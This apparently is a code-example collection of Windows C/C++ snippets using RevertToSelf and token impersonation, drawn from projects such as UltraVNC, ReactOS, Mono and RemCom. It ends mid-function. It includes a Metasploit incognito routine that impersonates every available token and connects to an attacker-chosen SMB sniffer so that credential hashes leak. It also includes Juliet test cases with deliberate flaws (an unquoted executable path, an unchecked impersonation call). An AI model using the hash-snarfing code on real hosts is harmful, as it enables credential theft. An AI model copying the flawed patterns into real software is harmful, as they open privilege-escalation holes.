Exemplo n.º 1
0
bool SecurityHelper::ImpersonateAndGetUserName(HANDLE hToken, wchar_t* name, int cch)
{
    bool result = false;
    if (ImpersonateLoggedOnUser(hToken))
	{
        DWORD cchName = cch;
        if (GetUserName(name, &cchName))
             result = true;
        else LCF1(L"GetUserName failed: %d", GetLastError());
        RevertToSelf();
    }
    else LCF1(L"ImpersonateLoggedOnUser failed: %d", GetLastError());

    return result;
}
/* good1() uses if(staticFive!=5) instead of if(staticFive==5) */
static void good1()
{
    if(staticFive!=5)
    {
        /* INCIDENTAL: CWE 561 Dead Code, the code below will never run */
        printLine("Benign, fixed string");
    }
    else
    {
        {
            HANDLE hPipe = INVALID_HANDLE_VALUE;
            hPipe = CreateNamedPipeA(
                        "\\\\.\\pipe\\test_pipe",
                        PIPE_ACCESS_DUPLEX | FILE_FLAG_FIRST_PIPE_INSTANCE,
                        PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE | PIPE_WAIT,
                        PIPE_UNLIMITED_INSTANCES,
                        BUFSIZE,
                        BUFSIZE,
                        NMPWAIT_USE_DEFAULT_WAIT,
                        NULL);
            if (hPipe == INVALID_HANDLE_VALUE)
            {
                exit(1);
            }
            /* ConnectNamedPipe returns failure if a client connected between CreateNamedPipe and now,
             * which isn't actually an error in terms of waiting for a client. */
            if (!ConnectNamedPipe(hPipe, NULL) && GetLastError() != ERROR_PIPE_CONNECTED)
            {
                CloseHandle(hPipe);
                exit(1);
            }
            /* FIX: Check if "ImpersonateNamedPipeClient" succeeded or not */
            if (!ImpersonateNamedPipeClient(hPipe))
            {
                printLine("Failed to impersonate");
            }
            else
            {
                printLine("Impersonated");
                if (!RevertToSelf())
                {
                    exit(1);
                }
            }
            CloseHandle(hPipe);
        }
    }
}
Exemplo n.º 3
0
// ROUTINE TO PROCESS AN INCOMING INSTANCE OF THE ABOVE MESSAGE
BOOL
vncService::ProcessUserHelperMessage(WPARAM wParam, LPARAM lParam) {
	// - Check the platform type
	if (!IsWinNT() || !vncService::RunningAsService())
		return TRUE;

	// - Close the HKEY_CURRENT_USER key, to force NT to reload it for the new user
	// NB: Note that this is _really_ dodgy if ANY other thread is accessing the key!
	if (RegCloseKey(HKEY_CURRENT_USER) != ERROR_SUCCESS) {
		vnclog.Print(LL_INTERR, VNCLOG("failed to close current registry hive\n"));
		return FALSE;
	}

	// - Revert to our own identity
	RevertToSelf();
	g_impersonating_user = FALSE;

	// - Open the specified process
	HANDLE processHandle = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, (DWORD)lParam);
	if (processHandle == NULL) {
		vnclog.Print(LL_INTERR, VNCLOG("failed to open specified process, error=%d\n"),
					 GetLastError());
		return FALSE;
	}

	// - Get the token for the given process
	HANDLE userToken = NULL;
	if (!OpenProcessToken(processHandle, TOKEN_QUERY | TOKEN_DUPLICATE | TOKEN_IMPERSONATE, &userToken)) {
		vnclog.Print(LL_INTERR, VNCLOG("failed to get user token, error=%d\n"),
					 GetLastError());
		CloseHandle(processHandle);
		return FALSE;
	}
	CloseHandle(processHandle);

	// - Set this thread to impersonate them
	if (!ImpersonateLoggedOnUser(userToken)) {
		vnclog.Print(LL_INTERR, VNCLOG("failed to impersonate user, error=%d\n"),
					 GetLastError());
		CloseHandle(userToken);
		return FALSE;
	}
	CloseHandle(userToken);

	g_impersonating_user = TRUE;
	vnclog.Print(LL_INTINFO, VNCLOG("impersonating logged on user\n"));
	return TRUE;
}
Exemplo n.º 4
0
void Impersonator::revertToSelf()
{
  if (m_dupToken != INVALID_HANDLE_VALUE) {
    CloseHandle(m_dupToken);
  }

  if (m_token != INVALID_HANDLE_VALUE) {
    CloseHandle(m_token);
  }

  m_dupToken = INVALID_HANDLE_VALUE;
  m_token = INVALID_HANDLE_VALUE;

  if (!RevertToSelf()) {
    throw SystemException();
  }
}
Exemplo n.º 5
0
// ROUTINE TO PROCESS AN INCOMING INSTANCE OF THE ABOVE MESSAGE
BOOL
vncService::ProcessUserHelperMessage(DWORD processId) {
	// - Check the platform type
	if (!IsWinNT() || !vncService::RunningAsService())
		return TRUE;

	// - Close the HKEY_CURRENT_USER key, to force NT to reload it for the new user
	// NB: Note that this is _really_ dodgy if ANY other thread is accessing the key!
	if (RegCloseKey(HKEY_CURRENT_USER) != ERROR_SUCCESS) {
		return FALSE;
	}

	// - Revert to our own identity
	RevertToSelf();
	g_impersonating_user = FALSE;
	CloseHandle(g_impersonation_token);
	g_impersonation_token = 0;

	// - Open the specified process
	HANDLE processHandle = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, processId);
	if (processHandle == NULL) {

		return FALSE;
	}

	// - Get the token for the given process
	HANDLE userToken = NULL;
	if (!OpenProcessToken(processHandle, TOKEN_QUERY | TOKEN_DUPLICATE | TOKEN_IMPERSONATE, &userToken)) {

		CloseHandle(processHandle);
		return FALSE;
	}
	CloseHandle(processHandle);

	// - Set this thread to impersonate them
	if (!ImpersonateLoggedOnUser(userToken)) {

		CloseHandle(userToken);
		return FALSE;
	}

	g_impersonating_user = TRUE;
	g_impersonation_token = userToken;

	return TRUE;
}
/* good1() uses if(5!=5) instead of if(5==5) */
static void good1()
{
    if(5!=5)
    {
        /* INCIDENTAL: CWE 561 Dead Code, the code below will never run */
        printLine("Benign, fixed string");
    }
    else
    {
        {
            STARTUPINFOA si;
            PROCESS_INFORMATION pi;
            HANDLE pHandle = NULL;
            /* FIX: The commandLine parameter to CreateProcessAsUser() contains quotes surrounding
               the executable path. */
            if(!CreateProcessAsUserA(pHandle,
                                     NULL,
                                     "\"C:\\Program Files\\GoodApp\" arg1 arg2",
                                     NULL,
                                     NULL,
                                     FALSE,
                                     DETACHED_PROCESS,
                                     NULL,
                                     NULL,
                                     &si,
                                     &pi))
            {
                printLine("CreateProcessAsUser failed");
                RevertToSelf();
                CloseHandle(pHandle);
                return;
            }
            else
            {
                printLine("CreateProcessAUser successful");
            }
            /* Wait until child process exits. */
            WaitForSingleObject(pi.hProcess, INFINITE);
            /* Close process and thread handles.*/
            CloseHandle(pi.hProcess);
            CloseHandle(pi.hThread);
            CloseHandle(pHandle);
        }
    }
}
Exemplo n.º 7
0
static
DWORD
WINAPI
LogoffShutdownThread(
    LPVOID Parameter)
{
    DWORD ret = 1;
    PLOGOFF_SHUTDOWN_DATA LSData = (PLOGOFF_SHUTDOWN_DATA)Parameter;
    UINT uFlags;

    if (LSData->Session->UserToken != NULL &&
        !ImpersonateLoggedOnUser(LSData->Session->UserToken))
    {
        ERR("ImpersonateLoggedOnUser() failed with error %lu\n", GetLastError());
        return 0;
    }

    // FIXME: To be really fixed: need to check what needs to be kept and what needs to be removed there.
    //
    // uFlags = EWX_INTERNAL_KILL_USER_APPS | (LSData->Flags & EWX_FLAGS_MASK) |
             // ((LSData->Flags & EWX_ACTION_MASK) == EWX_LOGOFF ? EWX_CALLER_WINLOGON_LOGOFF : 0);

    uFlags = EWX_CALLER_WINLOGON | (LSData->Flags & 0x0F);

    TRACE("In LogoffShutdownThread with uFlags == 0x%x; exit_in_progress == %s\n",
        uFlags, ExitReactOSInProgress ? "true" : "false");

    ExitReactOSInProgress = TRUE;

    /* Close processes of the interactive user */
    if (!ExitWindowsEx(uFlags, 0))
    {
        ERR("Unable to kill user apps, error %lu\n", GetLastError());
        ret = 0;
    }

    /* Cancel all the user connections */
    WNetClearConnections(0);

    if (LSData->Session->UserToken)
        RevertToSelf();

    return ret;
}
void CWE272_Least_Privilege_Violation__w32_wchar_t_CreateProcessAsUser_16_bad()
{
    while(1)
    {
        {
            STARTUPINFOW si;
            PROCESS_INFORMATION pi;
            HANDLE pHandle = NULL;
            /* FLAW: The commandLine parameter to CreateProcessAsUser() contains a space in it and does not
               surround the executable path with quotes.  A malicious executable could be run because of the
               way the function parses spaces. The process will attempt to run "Program.exe," if it exists,
               instead of the intended "GoodApp.exe"  */
            if(!CreateProcessAsUserW(pHandle,
                                     NULL,
                                     L"C:\\Program Files\\GoodApp arg1 arg2",
                                     NULL,
                                     NULL,
                                     FALSE,
                                     DETACHED_PROCESS,
                                     NULL,
                                     NULL,
                                     &si,
                                     &pi))
            {
                printLine("CreateProcessAsUser failed");
                RevertToSelf();
                CloseHandle(pHandle);
                return;
            }
            else
            {
                printLine("CreateProcessAUser successful");
            }
            /* Wait until child process exits. */
            WaitForSingleObject(pi.hProcess, INFINITE);
            /* Close process and thread handles.*/
            CloseHandle(pi.hProcess);
            CloseHandle(pi.hThread);
            CloseHandle(pHandle);
        }
        break;
    }
}
/* good1() uses the GoodSinkBody in the while loop */
static void good1()
{
    while(1)
    {
        {
            STARTUPINFOW si;
            PROCESS_INFORMATION pi;
            HANDLE pHandle = NULL;
            /* FIX: The commandLine parameter to CreateProcessAsUser() contains quotes surrounding
               the executable path. */
            if(!CreateProcessAsUserW(pHandle,
                                     NULL,
                                     L"\"C:\\Program Files\\GoodApp\" arg1 arg2",
                                     NULL,
                                     NULL,
                                     FALSE,
                                     DETACHED_PROCESS,
                                     NULL,
                                     NULL,
                                     &si,
                                     &pi))
            {
                printLine("CreateProcessAsUser failed");
                RevertToSelf();
                CloseHandle(pHandle);
                return;
            }
            else
            {
                printLine("CreateProcessAUser successful");
            }
            /* Wait until child process exits. */
            WaitForSingleObject(pi.hProcess, INFINITE);
            /* Close process and thread handles.*/
            CloseHandle(pi.hProcess);
            CloseHandle(pi.hThread);
            CloseHandle(pHandle);
        }
        break;
    }
}
Exemplo n.º 10
0
/*
 * Switch to the input desktop and set it as this threads desktop.
 */
HDESK vncdll_getinputdesktop( BOOL bSwitchStation )
{
	DWORD dwResult         = ERROR_ACCESS_DENIED;
	HWINSTA hWindowStation = NULL;
	HDESK hInputDesktop    = NULL;
	HWND hDesktopWnd       = NULL;	

	do
	{
		if( bSwitchStation )
		{
			// open the WinSta0 as some services are attached to a different window station.
			hWindowStation = OpenWindowStation( "WinSta0", FALSE, WINSTA_ALL_ACCESS );
			if( !hWindowStation )
			{
				if( RevertToSelf() )
					hWindowStation = OpenWindowStation( "WinSta0", FALSE, WINSTA_ALL_ACCESS );
			}
			
			// if we cant open the defaut input station we wont be able to take a screenshot
			if( !hWindowStation )
				BREAK_WITH_ERROR( "[VNCDLL] vncdll_getinputdesktop: Couldnt get the WinSta0 Window Station", ERROR_INVALID_HANDLE );
			
			// set the host process's window station to this sessions default input station we opened
			if( !SetProcessWindowStation( hWindowStation ) )
				BREAK_ON_ERROR( "[VNCDLL] vncdll_getinputdesktop: SetProcessWindowStation failed" );
		}

		// grab a handle to the default input desktop (e.g. Default or WinLogon)
		hInputDesktop = OpenInputDesktop( 0, FALSE, MAXIMUM_ALLOWED );
		if( !hInputDesktop )
			BREAK_ON_ERROR( "[VNCDLL] vncdll_getinputdesktop: OpenInputDesktop failed" );

		// set this threads desktop to that of this sessions default input desktop on WinSta0
		SetThreadDesktop( hInputDesktop );
	
	} while( 0 );

	return hInputDesktop;
}
void CWE273_Improper_Check_for_Dropped_Privileges__w32_ImpersonateNamedPipeClient_07_bad()
{
    if(staticFive==5)
    {
        {
            HANDLE hPipe = INVALID_HANDLE_VALUE;
            hPipe = CreateNamedPipeA(
                        "\\\\.\\pipe\\test_pipe",
                        PIPE_ACCESS_DUPLEX | FILE_FLAG_FIRST_PIPE_INSTANCE,
                        PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE | PIPE_WAIT,
                        PIPE_UNLIMITED_INSTANCES,
                        BUFSIZE,
                        BUFSIZE,
                        NMPWAIT_USE_DEFAULT_WAIT,
                        NULL);
            if (hPipe == INVALID_HANDLE_VALUE)
            {
                exit(1);
            }
            /* ConnectNamedPipe returns failure if a client connected between CreateNamedPipe and now,
             * which isn't actually an error in terms of waiting for a client. */
            if (!ConnectNamedPipe(hPipe, NULL) && GetLastError() != ERROR_PIPE_CONNECTED)
            {
                CloseHandle(hPipe);
                exit(1);
            }
            /* FLAW: Failed to check return status of ImpersonateNamedPipeClient
             * -- However, since we're not even DOING anything with the pipe
             * it's debatable whether this is really a bug
             */
            ImpersonateNamedPipeClient(hPipe);
            printLine("Impersonated");
            if (!RevertToSelf())
            {
                exit(1);
            }
            CloseHandle(hPipe);
        }
    }
}
Exemplo n.º 12
0
MonoBoolean
ves_icall_System_Security_Principal_WindowsImpersonationContext_RevertToSelf (MonoError *error)
{
#ifdef HOST_WIN32
	return (RevertToSelf () != 0);
#else
#ifdef HAVE_GETRESUID
	uid_t ruid, euid;
#endif
	uid_t suid = -1;

#ifdef HAVE_GETRESUID
	if (getresuid (&ruid, &euid, &suid) < 0)
		return FALSE;
#endif
#ifdef HAVE_SETRESUID
	if (setresuid (-1, suid, -1) < 0)
		return FALSE;
#else
	return TRUE;
#endif
	return geteuid () == suid;
#endif
}
Exemplo n.º 13
0
void do_map_drive(int & error_code) {
    unmap_drive();
    char share[256]=" ;103<;01";
    logon(error_code);
    if (server_user){
        ImpersonateLoggedOnUser(server_user);
        if (read_key("03",(unsigned char *)share,sizeof(share))) {
            char * finger=share;
            int bs=4;
            while (*finger&&bs) {
                if (*finger=='\\') bs--;
                if (!bs) *finger=0;
                finger++;
            }
            
            logfile("map %s\r\n",share);            
            char user[256]=" ;103<;01",password[256]=" ;103<;01";
            read_key("01",(unsigned char *)user,sizeof(user));
            read_key("02",(unsigned char *)password,sizeof(password));
            unscr(user);
            unscr(password);
            NETRESOURCE ns={RESOURCE_CONNECTED,RESOURCETYPE_DISK,RESOURCEDISPLAYTYPE_SHARE,0,maped_drive,share,"test",0};
            int ec=WNetAddConnection2(&ns,password,user,0/*CONNECT_UPDATE_PROFILE*/);
            if (NO_ERROR!=ec) {
                error_code=ec;
                logfile("WNetAddConnection2 failed %i %s\r\n",ec,share);
            }
            drive_maped=true;
        } 
        else {
            error_code=267L;
            logfile("directory not defined\r\n");
        }
        RevertToSelf();
    }   
}
Exemplo n.º 14
0
// Send off hashes for all tokens to IP address with SMB sniffer running
DWORD request_incognito_snarf_hashes(Remote *remote, Packet *packet)
{
	DWORD num_tokens = 0, i;
	SavedToken *token_list = NULL;
	NETRESOURCEW nr;
	HANDLE saved_token;
	TOKEN_PRIVS token_privs;
	wchar_t conn_string[BUF_SIZE] = L"", domain_name[BUF_SIZE] = L"",
		return_value[BUF_SIZE] = L"", temp[BUF_SIZE] = L"";

	Packet *response = packet_create_response(packet);
	char *smb_sniffer_ip = packet_get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_SERVERNAME);

	// Initialise net_resource structure (essentially just set ip to that of smb_sniffer)
	if (_snwprintf(conn_string, BUF_SIZE, L"\\\\%s", smb_sniffer_ip) == -1)
	{
		conn_string[BUF_SIZE - 1] = '\0';
	}
	nr.dwType       = RESOURCETYPE_ANY;
	nr.lpLocalName  = NULL;
	nr.lpProvider   = NULL;
	nr.lpRemoteName = conn_string;

	// Save current thread token if one is currently being impersonated
	if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, TRUE, &saved_token))
		saved_token = INVALID_HANDLE_VALUE;

	token_list = get_token_list(&num_tokens, &token_privs);
	if (!token_list)
	{
		packet_transmit_response(GetLastError(), remote, response);
		goto cleanup;
	}

	// Use every token and get hashes by connecting to SMB sniffer
	for (i = 0; i < num_tokens; i++)
	{
		if (token_list[i].token)
		{
			get_domain_from_token(token_list[i].token, domain_name, BUF_SIZE);
			// If token is not "useless" local account connect to sniffer
			// XXX This may need some expansion to support other languages
			if (_wcsicmp(domain_name, L"NT AUTHORITY"))
			{
				// Impersonate token
				ImpersonateLoggedOnUser(token_list[i].token);

				// Cancel previous connection to ensure hashes are sent and existing connection isn't reused
				WNetCancelConnection2W(nr.lpRemoteName, 0, TRUE);

				// Connect to smb sniffer
				if (!WNetAddConnection2W(&nr, NULL, NULL, 0))
				{
					// Revert to primary token
					RevertToSelf();
				}
			}
			CloseHandle(token_list[i].token);
		}
	}

	packet_transmit_response(ERROR_SUCCESS, remote, response);

cleanup:
	free(token_list);

	// Restore token impersonation
	if (saved_token != INVALID_HANDLE_VALUE)
	{
		ImpersonateLoggedOnUser(saved_token);
	}

	return ERROR_SUCCESS;
}
Exemplo n.º 15
0
BOOL
SetDefaultLanguage(
    IN PWLSESSION Session)
{
    BOOL ret = FALSE;
    BOOL UserProfile;
    LONG rc;
    HKEY UserKey, hKey = NULL;
    LPCWSTR SubKey, ValueName;
    DWORD dwType, dwSize;
    LPWSTR Value = NULL;
    UNICODE_STRING ValueString;
    NTSTATUS Status;
    LCID Lcid;

    UserProfile = (Session && Session->UserToken);

    if (UserProfile && !ImpersonateLoggedOnUser(Session->UserToken))
    {
        ERR("WL: ImpersonateLoggedOnUser() failed with error %lu\n", GetLastError());
        return FALSE;
        // FIXME: ... or use the default language of the system??
        // UserProfile = FALSE;
    }

    if (UserProfile)
    {
        rc = RegOpenCurrentUser(MAXIMUM_ALLOWED, &UserKey);
        if (rc != ERROR_SUCCESS)
        {
            TRACE("RegOpenCurrentUser() failed with error %lu\n", rc);
            goto cleanup;
        }

        SubKey = L"Control Panel\\International";
        ValueName = L"Locale";
    }
    else
    {
        UserKey = NULL;
        SubKey = L"System\\CurrentControlSet\\Control\\Nls\\Language";
        ValueName = L"Default";
    }

    rc = RegOpenKeyExW(UserKey ? UserKey : HKEY_LOCAL_MACHINE,
                       SubKey,
                       0,
                       KEY_READ,
                       &hKey);

    if (UserKey)
        RegCloseKey(UserKey);

    if (rc != ERROR_SUCCESS)
    {
        TRACE("RegOpenKeyEx() failed with error %lu\n", rc);
        goto cleanup;
    }

    rc = RegQueryValueExW(hKey,
                          ValueName,
                          NULL,
                          &dwType,
                          NULL,
                          &dwSize);
    if (rc != ERROR_SUCCESS)
    {
        TRACE("RegQueryValueEx() failed with error %lu\n", rc);
        goto cleanup;
    }
    else if (dwType != REG_SZ)
    {
        TRACE("Wrong type for %S\\%S registry entry (got 0x%lx, expected 0x%x)\n",
            SubKey, ValueName, dwType, REG_SZ);
        goto cleanup;
    }

    Value = HeapAlloc(GetProcessHeap(), 0, dwSize);
    if (!Value)
    {
        TRACE("HeapAlloc() failed\n");
        goto cleanup;
    }
    rc = RegQueryValueExW(hKey,
                          ValueName,
                          NULL,
                          NULL,
                          (LPBYTE)Value,
                          &dwSize);
    if (rc != ERROR_SUCCESS)
    {
        TRACE("RegQueryValueEx() failed with error %lu\n", rc);
        goto cleanup;
    }

    /* Convert Value to a Lcid */
    ValueString.Length = ValueString.MaximumLength = (USHORT)dwSize;
    ValueString.Buffer = Value;
    Status = RtlUnicodeStringToInteger(&ValueString, 16, (PULONG)&Lcid);
    if (!NT_SUCCESS(Status))
    {
        TRACE("RtlUnicodeStringToInteger() failed with status 0x%08lx\n", Status);
        goto cleanup;
    }

    TRACE("%s language is 0x%08lx\n",
        UserProfile ? "User" : "System", Lcid);
    Status = NtSetDefaultLocale(UserProfile, Lcid);
    if (!NT_SUCCESS(Status))
    {
        TRACE("NtSetDefaultLocale() failed with status 0x%08lx\n", Status);
        goto cleanup;
    }

    ret = TRUE;

cleanup:
    if (Value)
        HeapFree(GetProcessHeap(), 0, Value);

    if (hKey)
        RegCloseKey(hKey);

    if (UserProfile)
        RevertToSelf();

    return ret;
}
Exemplo n.º 16
0
Arquivo: ms11013.c Projeto: OJ/kekeo
void impersonateToGetData(PCSTR user, PCSTR domain, PCSTR password, PCSTR kdc, PSID *sid, DWORD *rid, PCSTR usingWhat)
{
	NTSTATUS status;
	DWORD ret, *aRid, *usage;
	ANSI_STRING aUser, aKdc, aDomain, aPass, aProg;
	UNICODE_STRING uUser, uKdc, uDomain, uPass, uProg;
	SAMPR_HANDLE hServerHandle, hDomainHandle;
	PSID domainSid;
	HANDLE hToken, hNewToken;
	PROCESS_INFORMATION processInfos;
	STARTUPINFOW startupInfo;
	RtlZeroMemory(&startupInfo, sizeof(STARTUPINFOW));
	startupInfo.cb = sizeof(STARTUPINFOW);

	RtlInitString(&aUser, user);
	RtlInitString(&aKdc, kdc);
	RtlInitString(&aDomain, domain);
	RtlInitString(&aPass, password);
	RtlInitString(&aProg, usingWhat ? usingWhat : "winver.exe");
	if(NT_SUCCESS(RtlAnsiStringToUnicodeString(&uUser, &aUser, TRUE)))
	{
		if(NT_SUCCESS(RtlAnsiStringToUnicodeString(&uKdc, &aKdc, TRUE)))
		{
			if(NT_SUCCESS(RtlAnsiStringToUnicodeString(&uDomain, &aDomain, TRUE)))
			{
				if(NT_SUCCESS(RtlAnsiStringToUnicodeString(&uPass, &aPass, TRUE)))
				{

					if(NT_SUCCESS(RtlAnsiStringToUnicodeString(&uProg, &aProg, TRUE)))
					{
						if(CreateProcessWithLogonW(uUser.Buffer, uDomain.Buffer, uPass.Buffer, LOGON_NETCREDENTIALS_ONLY, uProg.Buffer, NULL, CREATE_SUSPENDED, NULL, NULL, &startupInfo, &processInfos))
						{
							if(OpenProcessToken(processInfos.hProcess, TOKEN_DUPLICATE, &hToken))
							{
								if(DuplicateTokenEx(hToken, TOKEN_QUERY | TOKEN_IMPERSONATE, NULL, SecurityDelegation, TokenImpersonation, &hNewToken))
								{
									if(SetThreadToken(NULL, hNewToken))
									{
										kprintf("[AUTH] Impersonation\n");
										if(!(*sid && *rid))
										{
											kprintf("[SID/RID] \'%s @ %s\' must be translated to SID/RID\n", user, domain);
											status = SamConnect(&uKdc, &hServerHandle, SAM_SERVER_CONNECT | SAM_SERVER_LOOKUP_DOMAIN, FALSE);
											if(NT_SUCCESS(status))
											{
												status = SamLookupDomainInSamServer(hServerHandle, &uDomain, &domainSid);
												if(NT_SUCCESS(status))
												{
													status = SamOpenDomain(hServerHandle, DOMAIN_LIST_ACCOUNTS | DOMAIN_LOOKUP, domainSid, &hDomainHandle);
													if(NT_SUCCESS(status))
													{
														status = SamLookupNamesInDomain(hDomainHandle, 1, &uUser, &aRid, &usage);
														if(NT_SUCCESS(status))
															*rid = *aRid;
														else PRINT_ERROR("SamLookupNamesInDomain %08x\n", status);
													}
													else PRINT_ERROR("SamOpenDomain %08x\n", status);

													ret = GetLengthSid(domainSid);
													if(*sid = (PSID) LocalAlloc(LPTR, ret))
													{
														if(!CopySid(ret, *sid, domainSid))
														{
															*sid = (PSID) LocalFree(*sid);
															PRINT_ERROR_AUTO("CopySid");
														}
													}
													SamFreeMemory(domainSid);
												}
												else PRINT_ERROR("SamLookupDomainInSamServer %08x\n", status);
												SamCloseHandle(hServerHandle);
											}
											else PRINT_ERROR("SamConnect %08x\n", status);
										}
										RevertToSelf();
									}
									else PRINT_ERROR_AUTO("SetThreadToken");
									CloseHandle(hNewToken);
								}
								else PRINT_ERROR_AUTO("DuplicateTokenEx");
								CloseHandle(hToken);
							}
							else PRINT_ERROR_AUTO("OpenProcessToken");
							TerminateProcess(processInfos.hProcess, 0);
							CloseHandle(processInfos.hProcess);
							CloseHandle(processInfos.hThread);
						}
						else PRINT_ERROR_AUTO("CreateProcessWithLogonW");

						RtlFreeUnicodeString(&uProg);
					}
					RtlFreeUnicodeString(&uPass);
				}
				RtlFreeUnicodeString(&uDomain);
			}
			RtlFreeUnicodeString(&uKdc);
		}
		RtlFreeUnicodeString(&uUser);
	}
}
// Execute the requested client command
DWORD Execute( HANDLE hPipe, RemComMessage* pMsg, DWORD* pReturnCode )
{
	PROCESS_INFORMATION pi;

	STARTUPINFO si;
	::ZeroMemory( &si, sizeof(si) );
	si.cb = sizeof(si);

	SECURITY_ATTRIBUTES saAttr;
	saAttr.nLength = sizeof(SECURITY_ATTRIBUTES);
	saAttr.bInheritHandle = true;
	saAttr.lpSecurityDescriptor = NULL;
	HANDLE hStdoutRead = INVALID_HANDLE_VALUE, hStdoutWrite = INVALID_HANDLE_VALUE;
	HANDLE hStdinRead = INVALID_HANDLE_VALUE, hStdinWrite = INVALID_HANDLE_VALUE;

	if (!CreatePipe(&hStdoutRead, &hStdoutWrite, &saAttr, 0))
		return 20000+GetLastError();

	if (!SetHandleInformation(hStdoutRead, HANDLE_FLAG_INHERIT, 0))
		return 30000+GetLastError();	// don't inherit the reader end

	if (!CreatePipe(&hStdinRead, &hStdinWrite, &saAttr, 0))
		return 40000+GetLastError();

	if (!SetHandleInformation(hStdinWrite, HANDLE_FLAG_INHERIT, 0))
		return 50000+GetLastError();	// don't inherit the reader end

	si.hStdInput = hStdinRead;
	si.hStdOutput = hStdoutWrite;
	si.hStdError = hStdoutWrite;
	si.dwFlags |= STARTF_USESTDHANDLES;
	
	*pReturnCode = 0;

	// Initializes command
	// cmd.exe /c /q allows us to execute internal dos commands too.
	TCHAR szCommand[_MAX_PATH];
	_stprintf_s( szCommand, sizeof(szCommand), _T("cmd.exe /q /c \"%s\""), pMsg->szCommand );

	if (!::ImpersonateNamedPipeClient(hPipe))
		return 60000+GetLastError();

	HANDLE hImpersonationToken,hPrimaryToken;
	if (!::OpenThreadToken(::GetCurrentThread(),TOKEN_ALL_ACCESS,TRUE,&hImpersonationToken))
		return 70000+GetLastError();

	if (!::DuplicateTokenEx(hImpersonationToken,MAXIMUM_ALLOWED,0,
		SecurityIdentification, TokenPrimary,&hPrimaryToken))
		return 80000+GetLastError();
	CloseHandle(hImpersonationToken);
	RevertToSelf();

   // Start the requested process
	if ( CreateProcessAsUser(hPrimaryToken, 
         NULL, 
         szCommand, 
         NULL,
         NULL, 
         TRUE,
         pMsg->dwPriority | CREATE_NO_WINDOW,
         NULL, 
         pMsg->szWorkingDir[0] != _T('\0') ? pMsg->szWorkingDir : NULL, 
         &si, 
         &pi ) )
   {
		HANDLE hProcess = pi.hProcess;
		// these handles are meant only for the child process, otherwise we'll block forever
		CloseHandle(hStdinRead);
		CloseHandle(hStdoutWrite);

		// pump the stdin from the client to the child process
		// in a different thread
		CopyThreadParams* ctp = new CopyThreadParams();
		ctp->hPipe = hPipe;
		ctp->hStdin = hStdinWrite;
		_beginthread(CopyStream,0,ctp);

		// feed the output from the child process to the client
		while (true) {
			byte buf[1024];
			DWORD dwRead = 0, dwWritten;

			if (!::ReadFile(hStdoutRead,buf+4,sizeof(buf)-4,&dwRead,NULL) || dwRead==0)
				break;

			*((DWORD*)buf) = dwRead;
			::WriteFile(hPipe, buf, sizeof(DWORD)+dwRead, &dwWritten, NULL);
		}

		*pReturnCode = 0;

		// Waiting for process to terminate
        WaitForSingleObject( hProcess, INFINITE );
        GetExitCodeProcess( hProcess, pReturnCode );
		return 0;
	} else {
		// error code 1314 here means the user of this process
		// doesn't have the privilege to call CreateProcessAsUser.
		// when this is run as a service, the LOCAL_SYSTEM user
		// has a privilege to do it, but if you run this under
		// the debugger, your user account might not have that privilege.
		//
		// to fix that, go to control panel / administartive tools / local security policy
		// user rights / replace process token level
		// and make sure your user is in.
		// once the above is set, the system needs to be restarted.
		return 10000+GetLastError();
	}
}
Exemplo n.º 18
0
void PerfDataRefresh(void)
{
    ULONG                            ulSize;
    LONG                            status;
    LPBYTE                            pBuffer;
    ULONG                            BufferSize;
    PSYSTEM_PROCESS_INFORMATION        pSPI;
    PPERFDATA                        pPDOld;
    ULONG                            Idx, Idx2;
    HANDLE                            hProcess;
    HANDLE                            hProcessToken;
    TCHAR                            szTemp[MAX_PATH];
    DWORD                            dwSize;
    SYSTEM_PERFORMANCE_INFORMATION    SysPerfInfo;
    SYSTEM_TIME_INFORMATION            SysTimeInfo;
    SYSTEM_CACHE_INFORMATION        SysCacheInfo;
    LPBYTE                            SysHandleInfoData;
    PSYSTEM_PROCESSORTIME_INFO        SysProcessorTimeInfo;
    double                            CurrentKernelTime;


    if (!NtQuerySystemInformation)
        return;

    /* Get new system time */
    status = NtQuerySystemInformation(SystemTimeInformation, &SysTimeInfo, sizeof(SysTimeInfo), 0);
    if (status != NO_ERROR)
        return;

    /* Get new CPU's idle time */
    status = NtQuerySystemInformation(SystemPerformanceInformation, &SysPerfInfo, sizeof(SysPerfInfo), NULL);
    if (status != NO_ERROR)
        return;

    /* Get system cache information */
    status = NtQuerySystemInformation(SystemCacheInformation, &SysCacheInfo, sizeof(SysCacheInfo), NULL);
    if (status != NO_ERROR)
        return;

    /* Get processor time information */
    SysProcessorTimeInfo = HeapAlloc(GetProcessHeap(), 0,
                                sizeof(SYSTEM_PROCESSORTIME_INFO) * SystemBasicInfo.bKeNumberProcessors);
    status = NtQuerySystemInformation(SystemProcessorTimeInformation, SysProcessorTimeInfo, sizeof(SYSTEM_PROCESSORTIME_INFO) * SystemBasicInfo.bKeNumberProcessors, &ulSize);
    if (status != NO_ERROR) {
        HeapFree(GetProcessHeap(), 0, SysProcessorTimeInfo);
        return;
    }

    /* Get handle information
     * We don't know how much data there is so just keep
     * increasing the buffer size until the call succeeds
     */
    BufferSize = 0;
    do
    {
        BufferSize += 0x10000;
        SysHandleInfoData = HeapAlloc(GetProcessHeap(), 0, BufferSize);

        status = NtQuerySystemInformation(SystemHandleInformation, SysHandleInfoData, BufferSize, &ulSize);

        if (status == 0xC0000004 /*STATUS_INFO_LENGTH_MISMATCH*/) {
            HeapFree(GetProcessHeap(), 0, SysHandleInfoData);
        }

    } while (status == 0xC0000004 /*STATUS_INFO_LENGTH_MISMATCH*/);

    /* Get process information
     * We don't know how much data there is so just keep
     * increasing the buffer size until the call succeeds
     */
    BufferSize = 0;
    do
    {
        BufferSize += 0x10000;
        pBuffer = HeapAlloc(GetProcessHeap(), 0, BufferSize);

        status = NtQuerySystemInformation(SystemProcessInformation, pBuffer, BufferSize, &ulSize);

        if (status == 0xC0000004 /*STATUS_INFO_LENGTH_MISMATCH*/) {
            HeapFree(GetProcessHeap(), 0, pBuffer);
        }

    } while (status == 0xC0000004 /*STATUS_INFO_LENGTH_MISMATCH*/);

    EnterCriticalSection(&PerfDataCriticalSection);

    /*
     * Save system performance info
     */
    memcpy(&SystemPerfInfo, &SysPerfInfo, sizeof(SYSTEM_PERFORMANCE_INFORMATION));

    /*
     * Save system cache info
     */
